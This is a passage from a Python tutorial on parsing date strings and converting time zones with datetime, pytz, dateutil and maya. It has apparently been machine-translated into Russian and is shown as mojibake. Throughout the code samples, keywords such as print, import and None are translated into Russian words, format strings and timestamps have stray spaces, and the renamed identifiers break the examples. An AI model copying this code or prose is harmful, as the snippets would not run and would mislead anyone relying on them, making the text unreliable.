ΠΏΠ΅ΡΠ°ΡΡ (dtime)
ΠΏΠ΅ΡΠ°ΡΡ (dtime.tzinfo)
ΠΡΡ ΠΎΠ΄:
$ python3 datetime-tzinfo-2.py
2018-06-29 17: 08: 00.586525 + 00: 00
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
+00: 00
- ΡΠ°Π·Π½ΠΈΡΠ° ΠΌΠ΅ΠΆΠ΄Ρ ΠΎΡΠΎΠ±ΡΠ°ΠΆΠ°Π΅ΠΌΡΠΌ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ UTC. Π ΡΡΠΎΠΌ ΠΏΡΠΈΠΌΠ΅ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ tzinfo
ΡΠ°ΠΊΠΆΠ΅ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΠ΅Ρ UTC, ΠΎΡΡΡΠ΄Π° ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ 00:00
. Π ΡΡΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΠΎΠ±ΡΠ΅ΠΊΡ datetime
- ΡΡΠΎ ΠΎΠ±ΡΠ΅ΠΊΡ Ρ ΡΡΠ΅ΡΠΎΠΌ ΡΠ°ΡΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΡΡΠ° .
Π’ΠΎΡΠ½ΠΎ ΡΠ°ΠΊ ΠΆΠ΅ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΠΈ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ Π² Π»ΡΠ±ΠΎΠΉ Π΄ΡΡΠ³ΠΎΠΉ ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ.ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΡ Β«2018-06-29 17: 08: 00.586525 + 00: 00Β» Π² ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ Β«America / New_YorkΒ», ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:
ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ ΠΊΠ°ΠΊ dt
ΠΈΠΌΠΏΠΎΡΡ pytz
date_time_str = '2018-06-29 17:08:00'
date_time_obj = dt.datetime.strptime (date_time_str, '% Y-% m-% d% H:% M:% S')
timezone = pytz.timezone ('ΠΠΌΠ΅ΡΠΈΠΊΠ° / ΠΡΡ-ΠΠΎΡΠΊ')
timezone_date_time_obj = timezone.localize (date_time_obj)
print (timezone_date_time_obj)
ΠΏΠ΅ΡΠ°ΡΡ (timezone_date_time_obj.tzinfo)
ΠΡΡ ΠΎΠ΄:
$ python3 datetime-tzinfo-3.ΡΡ
2018-06-29 17: 08: 00-04: 00
ΠΠΌΠ΅ΡΠΈΠΊΠ° / ΠΡΡ-ΠΠΎΡΠΊ
Π‘Π½Π°ΡΠ°Π»Π° ΠΌΡ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π»ΠΈ ΡΡΡΠΎΠΊΡ Π² ΠΎΠ±ΡΠ΅ΠΊΡ datetime
, date_time_obj
. ΠΠ°ΡΠ΅ΠΌ ΠΌΡ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π»ΠΈ Π΅Π³ΠΎ Π² ΠΎΠ±ΡΠ΅ΠΊΡ datetime
Ρ Π²ΠΊΠ»ΡΡΠ΅Π½Π½ΡΠΌ ΡΠ°ΡΠΎΠ²ΡΠΌ ΠΏΠΎΡΡΠΎΠΌ, timezone_date_time_obj
. ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΌΡ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΠ»ΠΈ ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ ΠΊΠ°ΠΊ Β«America / New_YorkΒ», Π²ΡΠ΅ΠΌΡ Π²ΡΠ²ΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·ΡΠ²Π°Π΅Ρ, ΡΡΠΎ ΠΎΠ½ Π½Π° 4 ΡΠ°ΡΠ° ΠΎΡΡΡΠ°Π΅Ρ ΠΎΡ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ UTC Π½Π° . ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ ΡΡΡ ΡΡΡΠ°Π½ΠΈΡΡ ΠΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ, ΡΡΠΎΠ±Ρ Π½Π°ΠΉΡΠΈ ΠΏΠΎΠ»Π½ΡΠΉ ΡΠΏΠΈΡΠΎΠΊ Π΄ΠΎΡΡΡΠΏΠ½ΡΡ
ΡΠ°ΡΠΎΠ²ΡΡ
ΠΏΠΎΡΡΠΎΠ².
ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠ°ΡΠΎΠ²ΡΡ ΠΏΠΎΡΡΠΎΠ²
ΠΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΠ° datetime
ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΠ΅Π³ΠΈΠΎΠ½Π° Π² Π΄ΡΡΠ³ΠΎΠΉ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡΠΈΠΌΠ΅ΡΠ΅ Π½ΠΈΠΆΠ΅:
ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ ΠΊΠ°ΠΊ dt
ΠΈΠΌΠΏΠΎΡΡ pytz
timezone_nw = pytz.ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ ('ΠΠΌΠ΅ΡΠΈΠΊΠ° / ΠΡΡ-ΠΠΎΡΠΊ')
nw_datetime_obj = dt.datetime.now (ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ_nw)
timezone_london = pytz.timezone ('ΠΠ²ΡΠΎΠΏΠ° / ΠΠΎΠ½Π΄ΠΎΠ½')
london_datetime_obj = nw_datetime_obj.astimezone (ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ_london)
print ('ΠΠΌΠ΅ΡΠΈΠΊΠ° / ΠΡΡ-ΠΠΎΡΠΊ:', nw_datetime_obj)
print ('ΠΠ²ΡΠΎΠΏΠ° / ΠΠΎΠ½Π΄ΠΎΠ½:', london_datetime_obj)
Π‘Π½Π°ΡΠ°Π»Π° ΠΌΡ ΡΠΎΠ·Π΄Π°Π»ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡΠ΅ΠΊΡ datetime Ρ ΡΠ΅ΠΊΡΡΠΈΠΌ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ ΠΈ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΠ»ΠΈ Π΅Π³ΠΎ ΠΊΠ°ΠΊ ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ "America / New_York". ΠΠ°ΡΠ΅ΠΌ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΠΌΠ΅ΡΠΎΠ΄ astimezone ()
, ΠΌΡ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π»ΠΈ ΡΡΠΎΡ datetime
Π² ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ Β«ΠΠ²ΡΠΎΠΏΠ° / ΠΠΎΠ½Π΄ΠΎΠ½Β».ΠΠ±Π° datetime
s Π±ΡΠ΄ΡΡ ΠΏΠ΅ΡΠ°ΡΠ°ΡΡ ΡΠ°Π·Π½ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ:
$ python3 datetime-tzinfo-4.py
ΠΠΌΠ΅ΡΠΈΠΊΠ° / ΠΡΡ-ΠΠΎΡΠΊ: 2018-06-29 22: 21: 41.349491-04: 00
ΠΠ²ΡΠΎΠΏΠ° / ΠΠΎΠ½Π΄ΠΎΠ½: 2018-06-30 03: 21: 41.349491 + 01: 00
ΠΠ°ΠΊ ΠΈ ΠΎΠΆΠΈΠ΄Π°Π»ΠΎΡΡ, Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ ΠΎΡΠ»ΠΈΡΠ°ΡΡΡΡ, ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΡΠ°Π·Π½ΠΈΡΠ° ΠΌΠ΅ΠΆΠ΄Ρ Π½ΠΈΠΌΠΈ ΡΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ ΠΎΠΊΠΎΠ»ΠΎ 5 ΡΠ°ΡΠΎΠ².
ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΠΎΡΠΎΠ½Π½ΠΈΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ
ΠΠΎΠ΄ΡΠ»Ρ
Python datetime
ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²ΡΠ²Π°ΡΡ Π²ΡΠ΅ ΡΠ°Π·Π½ΡΠ΅ ΡΠΈΠΏΡ ΡΡΡΠΎΠΊ Π² ΠΎΠ±ΡΠ΅ΠΊΡ datetime
. ΠΠΎ ΠΎΡΠ½ΠΎΠ²Π½Π°Ρ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° Π² ΡΠΎΠΌ, ΡΡΠΎ Π΄Π»Ρ ΡΡΠΎΠ³ΠΎ Π²Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°ΡΡ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΡΡ ΡΡΡΠΎΠΊΡ ΠΊΠΎΠ΄Π° ΡΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΡΡ ΡΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ½ΡΡΡ strptime
.Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΡΡΠΎΠΉ ΡΡΡΠΎΠΊΠΈ ΡΡΠ΅Π±ΡΠ΅Ρ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΠΈ Π·Π°ΡΡΡΠ΄Π½ΡΠ΅Ρ ΡΡΠ΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°. ΠΠΌΠ΅ΡΡΠΎ ΡΡΠΎΠ³ΠΎ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄ΡΡΠ³ΠΈΠ΅ ΡΡΠΎΡΠΎΠ½Π½ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ, ΡΡΠΎΠ±Ρ ΡΠΏΡΠΎΡΡΠΈΡΡ Π·Π°Π΄Π°ΡΡ.
Π Π½Π΅ΠΊΠΎΡΠΎΡΡΡ ΡΠ»ΡΡΠ°ΡΡ ΡΡΠΈ ΡΡΠΎΡΠΎΠ½Π½ΠΈΠ΅ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ ΡΠ°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡΡ Π»ΡΡΡΡΡ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΡ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΡ Π΄Π»Ρ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΈ ΡΡΠ°Π²Π½Π΅Π½ΠΈΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ, Π° Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ Π΄Π°ΠΆΠ΅ ΠΈΠΌΠ΅ΡΡ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΠ΅ ΡΠ°ΡΠΎΠ²ΡΠ΅ ΠΏΠΎΡΡΠ°, ΠΏΠΎΡΡΠΎΠΌΡ Π²Π°ΠΌ Π½Π΅ Π½ΡΠΆΠ½ΠΎ Π²ΠΊΠ»ΡΡΠ°ΡΡ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΉ ΠΏΠ°ΠΊΠ΅Ρ.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΡΠ°ΡΡΠΌΠΎΡΡΠΈΠΌ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΠ· ΡΡΠΈΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ Π² ΡΠ»Π΅Π΄ΡΡΡΠΈΡ ΡΠ°Π·Π΄Π΅Π»Π°Ρ .
dateutil
ΠΠΎΠ΄ΡΠ»Ρ dateutil ΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ ΠΌΠΎΠ΄ΡΠ»Ρ datetime
.ΠΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡΠ΅ΠΈΠΌΡΡΠ΅ΡΡΠ² ΡΠΎΡΡΠΎΠΈΡ Π² ΡΠΎΠΌ, ΡΡΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡΠΆΠ½ΠΎ ΠΏΠ΅ΡΠ΅Π΄Π°Π²Π°ΡΡ ΠΊΠΎΠ΄ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° Π΄Π»Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΡΡΠΎΠΊΠΈ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ:
ΠΈΠ· ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠΌΠΏΠΎΡΡΠ° dateutil.parser
datetime = parse ('2018-06-29 22:21:41')
ΠΏΠ΅ΡΠ°ΡΡ (Π΄Π°ΡΠ° ΠΈ Π²ΡΠ΅ΠΌΡ)
ΠΡΠ° ΡΡΠ½ΠΊΡΠΈΡ parse
Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΡΠ΅Ρ ΡΡΡΠΎΠΊΡ ΠΈ ΡΠΎΡ
ΡΠ°Π½ΠΈΡ Π΅Π΅ Π² ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ datetime
. ΠΠ°ΡΡΠΈΠ½Π³ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΡΡΡ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ. ΠΠ°ΠΌ Π½Π΅ Π½ΡΠΆΠ½ΠΎ ΡΠΊΠ°Π·ΡΠ²Π°ΡΡ ΠΊΠ°ΠΊΡΡ-Π»ΠΈΠ±ΠΎ ΡΡΡΠΎΠΊΡ ΡΠΎΡΠΌΠ°ΡΠ°. ΠΠΎΠΏΡΠΎΠ±ΡΠ΅ΠΌ ΡΠ°Π·ΠΎΠ±ΡΠ°ΡΡ ΡΠ°Π·Π½ΡΠ΅ ΡΠΈΠΏΡ ΡΡΡΠΎΠΊ Ρ ΠΏΠΎΠΌΠΎΡΡΡ dateutil
:
ΠΎΡ dateutil.ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ ΠΈΠΌΠΏΠΎΡΡΠ° ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·
date_array = [
'2018-06-29 08:15: 27.243860',
'28 ΠΈΡΠ½Ρ 2018 Π³. 7:40',
'28 ΠΈΡΠ½Ρ 2018 Π³., 7:40',
'18 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017, 22:19:55',
'ΠΡ, 12.05.1999, 12:30',
'ΠΠ½, 21 ΠΌΠ°ΡΡΠ°, 2015',
'2018-03-12T10: 12: 45Z',
'2018-06-29 17: 08: 00.586525 + 00: 00',
'2018-06-29 17: 08: 00.586525 + 05: 00',
Β«ΠΡΠΎΡΠ½ΠΈΠΊ, 6 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 16:30Β»
]
Π΄Π»Ρ Π΄Π°ΡΡ Π² date_array:
print ('ΠΠ½Π°Π»ΠΈΠ·:' + Π΄Π°ΡΠ°)
dt = parse (Π΄Π°ΡΠ°)
ΠΏΠ΅ΡΠ°ΡΡ (dt.date ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.time ())
ΠΏΠ΅ΡΠ°ΡΡ (Π΄Ρ.tzinfo)
ΠΏΠ΅ΡΠ°ΡΡ ('\ ΠΏ')
ΠΡΡ ΠΎΠ΄:
$ python3 dateutil-1.py
Π Π°Π·Π±ΠΎΡ: 2018-06-29 08:15: 27.243860
2018-06-29
08: 15: 27.243860
ΠΠΈΠΊΡΠΎ
Π Π°Π·Π±ΠΎΡ: 28 ΠΈΡΠ½ 2018 7:40
2018-06-28
07:40:00
ΠΠΈΠΊΡΠΎ
Π Π°Π·Π±ΠΎΡ: 28 ΠΈΡΠ½ 2018 Π² 7:40
2018-06-28
07:40:00
ΠΠΈΠΊΡΠΎ
ΠΠ°ΡΡΠΈΠ½Π³: 18 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 22:19:55
2017-09-18
22:19:55
ΠΠΈΠΊΡΠΎ
Π Π°Π·Π±ΠΎΡ: Π²Ρ, 12.05.1999, 12:30
1999-05-12
12:30:00
ΠΠΈΠΊΡΠΎ
ΠΠ°ΡΡΠΈΠ½Π³: ΠΠ½, 21 ΠΌΠ°ΡΡΠ° 2015 Π³.
2015-03-21
00:00:00
ΠΠΈΠΊΡΠΎ
Π Π°Π·Π±ΠΎΡ: 2018-03-12T10: 12: 45Z
2018-03-12
10:12:45
tzutc ()
Π Π°Π·Π±ΠΎΡ: 2018-06-29 17:08:00.586525 + 00: 00
2018-06-29
17: 08: 00.586525
tzutc ()
Π Π°Π·Π±ΠΎΡ: 2018-06-29 17: 08: 00.586525 + 05: 00
2018-06-29
17: 08: 00.586525
tzoffset (ΠΠ΅Ρ, 18000)
Π Π°Π·Π±ΠΎΡ: Π²ΡΠΎΡΠ½ΠΈΠΊ, 6 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 16:30
2017-09-06
16:30:00
ΠΠΈΠΊΡΠΎ
ΠΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡΠ΅, ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ Π»ΡΠ±ΠΎΠΉ ΡΠΈΠΏ ΡΡΡΠΎΠΊΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΌΠΎΠ΄ΡΠ»Ρ dateutil
.
Π₯ΠΎΡΡ ΡΡΠΎ ΠΈ ΡΠ΄ΠΎΠ±Π½ΠΎ, Π½Π°ΠΏΠΎΠΌΠ½ΠΈΠΌ, ΠΊΠ°ΠΊ Π±ΡΠ»ΠΎ ΡΠΊΠ°Π·Π°Π½ΠΎ ΡΠ°Π½Π΅Π΅, Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎΡΡΡ ΠΏΡΠΎΠ³Π½ΠΎΠ·ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΠΎΡΠΌΠ°ΡΠ° Π΄Π΅Π»Π°Π΅Ρ ΠΊΠΎΠ΄ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅, ΠΏΠΎΡΡΠΎΠΌΡ, Π΅ΡΠ»ΠΈ Π²Π°Ρ ΠΊΠΎΠ΄ ΡΡΠ΅Π±ΡΠ΅Ρ Π²ΡΡΠΎΠΊΠΎΠΉ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΡΠ½ΠΎΡΡΠΈ, ΡΡΠΎ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΡΠΌ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΠΎΠΌ Π΄Π»Ρ Π²Π°ΡΠ΅Π³ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ.
ΠΠ°ΠΉΡ
Maya ΡΠ°ΠΊΠΆΠ΅ ΡΠΏΡΠΎΡΠ°Π΅Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· ΡΡΡΠΎΠΊΠΈ ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡΠ°ΡΠΎΠ²ΡΡ ΠΏΠΎΡΡΠΎΠ². ΠΠ΄Π΅ΡΡ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΡΠΎΡΡΡΡ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠ²:
ΠΈΠΌΠΏΠΎΡΡ ΠΌΠ°ΠΉΡ
dt = maya.parse ('2018-04-29T17: 45: 25Z'). datetime ()
ΠΏΠ΅ΡΠ°ΡΡ (dt.date ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.time ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.tzinfo)
ΠΡΡ ΠΎΠ΄:
$ python3 maya-1.py
2018-04-29
17:45:25
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
ΠΠ»Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ Π² Π΄ΡΡΠ³ΠΎΠΉ ΡΠ°ΡΠΎΠ²ΠΎΠΉ ΠΏΠΎΡΡ:
ΠΈΠΌΠΏΠΎΡΡ ΠΌΠ°ΠΉΡ
dt = maya.parse ('2018-04-29T17: 45: 25Z').datetime (to_timezone = 'America / New_York', naive = False)
ΠΏΠ΅ΡΠ°ΡΡ (dt.date ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.time ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.tzinfo)
ΠΡΡ ΠΎΠ΄:
$ python3 maya-2.py
2018-04-29
13:45:25
ΠΠΌΠ΅ΡΠΈΠΊΠ° / ΠΡΡ-ΠΠΎΡΠΊ
Π Π°Π·Π²Π΅ Π½Π΅ ΡΠ°ΠΊ ΠΏΡΠΎΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ? ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΠΏΡΠΎΠ±ΡΠ΅ΠΌ maya
Ρ ΡΠ΅ΠΌ ΠΆΠ΅ Π½Π°Π±ΠΎΡΠΎΠΌ ΡΡΡΠΎΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈ Ρ dateutil
:
.
ΠΈΠΌΠΏΠΎΡΡ ΠΌΠ°ΠΉΡ
date_array = [
'2018-06-29 08:15: 27.243860',
'28 ΠΈΡΠ½Ρ 2018 Π³. 7:40',
'28 ΠΈΡΠ½Ρ 2018 Π³., 7:40',
'18 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017, 22:19:55',
'ΠΡ, 12.05.1999, 12:30',
'ΠΠ½, 21 ΠΌΠ°ΡΡΠ°, 2015',
'2018-03-12T10: 12: 45Z',
'2018-06-29 17:08:00.586525 + 00: 00 ',
'2018-06-29 17: 08: 00.586525 + 05: 00',
Β«ΠΡΠΎΡΠ½ΠΈΠΊ, 6 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 16:30Β»
]
Π΄Π»Ρ Π΄Π°ΡΡ Π² date_array:
print ('ΠΠ½Π°Π»ΠΈΠ·:' + Π΄Π°ΡΠ°)
dt = maya.parse (Π΄Π°ΡΠ°) .datetime ()
ΠΏΠ΅ΡΠ°ΡΡ (dt)
ΠΏΠ΅ΡΠ°ΡΡ (dt.date ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.time ())
ΠΏΠ΅ΡΠ°ΡΡ (dt.tzinfo)
ΠΡΡ ΠΎΠ΄:
$ python3 maya-3.py
Π Π°Π·Π±ΠΎΡ: 2018-06-29 08:15: 27.243860
2018-06-29 08: 15: 27.243860 + 00: 00
2018-06-29
08: 15: 27.243860
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
Π Π°Π·Π±ΠΎΡ: 28 ΠΈΡΠ½ 2018 7:40
2018-06-28 07: 40: 00 + 00: 00
2018-06-28
07:40:00
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
Π Π°Π·Π±ΠΎΡ: 28 ΠΈΡΠ½ 2018 Π² 7:40
2018-06-28 07: 40: 00 + 00: 00
2018-06-28
07:40:00
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
ΠΠ°ΡΡΠΈΠ½Π³: 18 ΡΠ΅Π½ΡΡΠ±ΡΡ 2017 Π³., 22:19:55
2017-09-18 22: 19: 55 + 00: 00
2017-09-18
22:19:55
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
Π Π°Π·Π±ΠΎΡ: Π²Ρ, 12.05.1999, 12:30
1999-05-12 12: 30: 00 + 00: 00
1999-05-12
12:30:00
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
ΠΠ°ΡΡΠΈΠ½Π³: ΠΠ½, 21 ΠΌΠ°ΡΡΠ° 2015 Π³.
2015-03-21 00: 00: 00 + 00: 00
2015-03-21
00:00:00
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
Π Π°Π·Π±ΠΎΡ: 2018-03-12T10: 12: 45Z
2018-03-12 10: 12: 45 + 00: 00
2018-03-12
10:12:45
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
Π Π°Π·Π±ΠΎΡ: 2018-06-29 17:08:00.586525 + 00: 00
2018-06-29 17: 08: 00.586525 + 00: 00
2018-06-29
17: 08: 00.586525
ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠ΅ Π²ΡΠ΅ΠΌΡ
Π Π°Π·Π±ΠΎΡ: 2018-06-29 17: 08: 00.586525 + 05: 00
